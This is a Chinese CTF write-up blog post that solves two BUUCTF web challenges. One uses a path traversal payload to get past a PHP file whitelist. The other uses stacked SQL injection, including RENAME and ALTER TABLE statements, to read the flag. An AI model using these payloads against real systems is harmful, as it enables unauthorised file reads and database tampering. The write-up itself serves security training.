CTF(capture the flag)

BUUCTF web WP

2020-03-03  本文已影响0人  Du1in9

0x01 [HCTF 2018]WarmUp

f12看到提示进入source.php,看到代码

分析第一段代码,$page满足whitelist就返回true

进入hint.php,得到提示:flag in ffffllllaaaagggg

分析第二段代码,$_page对应payload的'?'以前的字符串

分析第三段代码,若$_page经过urldecode后满足whitelist就返回true

分析第四段代码,输入正确则保存flag到参数file,否则展示滑稽图片

由此构造payload1:?file=hint.php?/../../../../ffffllllaaaagggg($page取'?'以前是hint.php)

payload1:?file=hint.php%3f/../../../../ffffllllaaaagggg($page urldecode后是hint.php?,再取'?'以前是hint.php)

flag{62088940-057b-490a-bc9b-3f8623d0137e}

0x02 [强网杯 2019]随便注

基本操作

输入1'不回显,输入1' #回显正常,所以存在sql注入

输入1' or '1'='1回显字符,所以是字符型注入,但是没有查询到flag

输入1' order by 1 #回显正常,输入1' order by 2 #回显正常,输入1' order by 3 #回显失败,所以字段数为2

输入1' union select 1,2#回显了正则过滤规则,其中过滤了select,update,delete,drop,insert,where,\.

过滤了这么多词,猜测有堆叠注入。输入1';show databases;#回显正常,所以确实有堆叠注入

输入1';show tables;#回显正常,得到words和1919810931114514两个表

输入1'; show columns from `words`; # 找到id列

输入1'; show columns from `1919810931114514`; # 找到flag列

骚操作

①之所以前面没有查询到flag是因为堆叠注入,当执行查询后,第一条显示查询信息,第二条则将整个1919810931114514表进行删除,而内部查询语句类似 :select id, data from word where id =

②既然他没过滤rename和alter,输入1';RENAME TABLE `words` TO `words2`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;#将表和列改名,从而避免查询失败

③输入1' or '1'='1查询,得到flag{4f217c29-1f20-4169-aff4-bfcfe0de56ba}

上一篇下一篇

猜你喜欢

热点阅读